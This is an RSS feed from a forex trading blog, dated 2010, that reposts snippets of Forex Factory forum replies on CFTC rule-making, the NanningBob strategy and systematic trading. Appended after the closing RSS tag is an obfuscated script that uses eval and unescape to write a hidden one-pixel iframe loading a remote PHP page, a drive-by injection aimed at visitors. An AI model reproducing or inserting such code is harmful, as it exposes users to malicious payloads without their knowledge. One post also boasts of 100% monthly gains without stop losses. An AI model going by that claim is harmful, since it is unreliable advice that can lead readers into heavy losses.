<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Forex Investing Blog &#187; Trading Discussion</title>
	<atom:link href="http://forexinvestingblog.info/category/trading-discussion/feed/" rel="self" type="application/rss+xml" />
	<link>http://forexinvestingblog.info</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Wed, 08 Sep 2010 00:54:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>New Thread: CFTC to Publish All Outside Meetings Regarding Implementation of Dodd-Frank Wall Stre</title>
		<link>http://forexinvestingblog.info/2010/09/07/new-thread-cftc-to-publish-all-outside-meetings-regarding-implementation-of-dodd-frank-wall-stre/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/new-thread-cftc-to-publish-all-outside-meetings-regarding-implementation-of-dodd-frank-wall-stre/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 00:32:51 +0000</pubDate>
		<dc:creator>Slack</dc:creator>
				<category><![CDATA[Trading Discussion]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006229#post4006229</guid>
		<description><![CDATA[See press release here: http://www.cftc.gov/PressRoom/PressReleases/pr5885-10.html


What the CFTC i...]]></description>
			<content:encoded><![CDATA[See press release here: http://www.cftc.gov/PressRoom/PressReleases/pr5885-10.html


What the CFTC is doing is really unprecedented.  I thought the Q & A document was great in giving us a window into their way of thinking and rationale.  But, now they have taken it a step further and pulled backed t...]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/new-thread-cftc-to-publish-all-outside-meetings-regarding-implementation-of-dodd-frank-wall-stre/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>bluemele replies to: NanningBob Study Club</title>
		<link>http://forexinvestingblog.info/2010/09/07/bluemele-replies-to-nanningbob-study-club-5/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/bluemele-replies-to-nanningbob-study-club-5/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 00:23:01 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Trading Discussion]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006206#post4006206</guid>
		<description><![CDATA[Interesting.  I think it is just too much work to go through 20+ currencies to analyze different...]]></description>
			<content:encoded><![CDATA[Interesting.  I think it is just too much work to go through 20+ currencies to analyze different time frames etc...  

80% of the time, it will retrace if all stars are aligned per Bob's strategy.  This strategy is more about money management and handling the draw down.  Plus, I make most of my mo...]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/bluemele-replies-to-nanningbob-study-club-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>syedhsg replies to: No more BS &#8211; What have you learned?</title>
		<link>http://forexinvestingblog.info/2010/09/07/syedhsg-replies-to-no-more-bs-what-have-you-learned/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/syedhsg-replies-to-no-more-bs-what-have-you-learned/#comments</comments>
		<pubDate>Wed, 08 Sep 2010 00:21:05 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Trading Discussion]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006200#post4006200</guid>
		<description><![CDATA[i learned that
every person has a different strategy as they have different personalities.
for me mo...]]></description>
			<content:encoded><![CDATA[i learned that
every person has a different strategy as they have different personalities.
for me most of rules (fx mantras) did not work so i turned against them 
and i m increasing my account 100 % monthly. 
i never use stoplosses 
yet i have not in loss from one complete month. yes some trades go...]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/syedhsg-replies-to-no-more-bs-what-have-you-learned/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FXEZ replies to: Systematic trading</title>
		<link>http://forexinvestingblog.info/2010/09/07/fxez-replies-to-systematic-trading-12/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/fxez-replies-to-systematic-trading-12/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 23:44:55 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Trading Discussion]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006146#post4006146</guid>
		<description><![CDATA[Thanks for the info. Even though our immediate goals differ somewhat, the description of your...]]></description>
			<content:encoded><![CDATA[Thanks for the info. Even though our immediate goals differ somewhat, the description of your approach (XXXXXX strategies sorted and joined into a single equity curve of 20 some strategies) has has a profound influence on how I approach strategy development. Maybe I should explain myself.

My approa...]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/fxez-replies-to-systematic-trading-12/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FXEZ replies to: Systematic trading</title>
		<link>http://forexinvestingblog.info/2010/09/07/fxez-replies-to-systematic-trading-11/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/fxez-replies-to-systematic-trading-11/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 23:26:32 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Trading Discussion]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006114#post4006114</guid>
		<description><![CDATA[Appreciate your experience, Craig. All the ratios that I've seen: Sharpe, Sortino, Sterling, Profit...]]></description>
			<content:encoded><![CDATA[Appreciate your experience, Craig. All the ratios that I've seen: Sharpe, Sortino, Sterling, Profit Factor, Avg Trade, Win%, etc. have some flaws so it sounds like there is no way to avoid adding in the sub rules. As always practical advice. thanks]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/fxez-replies-to-systematic-trading-11/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>KumoDragon replies to: No more BS &#8211; What have you learned?</title>
		<link>http://forexinvestingblog.info/2010/09/07/kumodragon-replies-to-no-more-bs-what-have-you-learned/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/kumodragon-replies-to-no-more-bs-what-have-you-learned/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 23:25:15 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Trading Discussion]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006111#post4006111</guid>
		<description><![CDATA[I've tried hoards of, "free," methods and paid for some courses even.
 
I've found that just about a...]]></description>
			<content:encoded><![CDATA[I've tried hoards of, "free," methods and paid for some courses even.
 
I've found that just about all of the, "wizbang, enter when this crosses in this indicator,"method usually are pretty much absolute garbadge.
 
I've also found that the methods that I've had the most luck with involve different ...]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/kumodragon-replies-to-no-more-bs-what-have-you-learned/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>redsword11 replies to: Price is everything</title>
		<link>http://forexinvestingblog.info/2010/09/07/redsword11-replies-to-price-is-everything-360/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/redsword11-replies-to-price-is-everything-360/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 23:19:46 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Trading Discussion]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006100#post4006100</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<img src=http://www.forexfactory.com/attachment.php/539778/kiwi.jpg>]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/redsword11-replies-to-price-is-everything-360/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bl888 replies to: NanningBob Study Club</title>
		<link>http://forexinvestingblog.info/2010/09/07/bl888-replies-to-nanningbob-study-club-2/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/bl888-replies-to-nanningbob-study-club-2/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 22:30:09 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Trading Discussion]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006015#post4006015</guid>
		<description><![CDATA[Similar to what i do, but i just use the H1 to get a better when the H4 tells me to get in.
 
Ive be...]]></description>
			<content:encoded><![CDATA[Similar to what i do, but i just use the H1 to get a better when the H4 tells me to get in.
 
Ive been monitoring ADX closely and using that on the H1 to confirm strength of my ocunter-trend entry.  Been doing OK for me and keeping me out of loss making situations..

Talking about it. Anyone get lon...]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/bl888-replies-to-nanningbob-study-club-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bl888 replies to: NanningBob Study Club</title>
		<link>http://forexinvestingblog.info/2010/09/07/bl888-replies-to-nanningbob-study-club-3/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/bl888-replies-to-nanningbob-study-club-3/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 22:30:09 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Trading Discussion]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006015#post4006015</guid>
		<description><![CDATA[Similar to what i do, but i just use the H1 to get a better when the H4 tells me to get in.
 
Ive be...]]></description>
			<content:encoded><![CDATA[Similar to what i do, but i just use the H1 to get a better when the H4 tells me to get in.
 
Ive been monitoring ADX closely and using that on the H1 to confirm strength of my ocunter-trend entry.  Been doing OK for me and keeping me out of loss making situations..

Talking about it. Anyone get lon...]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/bl888-replies-to-nanningbob-study-club-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bl888 replies to: NanningBob Study Club</title>
		<link>http://forexinvestingblog.info/2010/09/07/bl888-replies-to-nanningbob-study-club-3/</link>
		<comments>http://forexinvestingblog.info/2010/09/07/bl888-replies-to-nanningbob-study-club-3/#comments</comments>
		<pubDate>Tue, 07 Sep 2010 22:30:09 +0000</pubDate>
		<dc:creator>FF All Forums</dc:creator>
				<category><![CDATA[Trading Discussion]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4006015#post4006015</guid>
		<description><![CDATA[Similar to what i do, but i just use the H1 to get a better when the H4 tells me to get in.
 
Ive be...]]></description>
			<content:encoded><![CDATA[Similar to what i do, but i just use the H1 to get a better when the H4 tells me to get in.
 
Ive been monitoring ADX closely and using that on the H1 to confirm strength of my ocunter-trend entry.  Been doing OK for me and keeping me out of loss making situations..

Talking about it. Anyone get lon...]]></content:encoded>
			<wfw:commentRss>http://forexinvestingblog.info/2010/09/07/bl888-replies-to-nanningbob-study-club-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>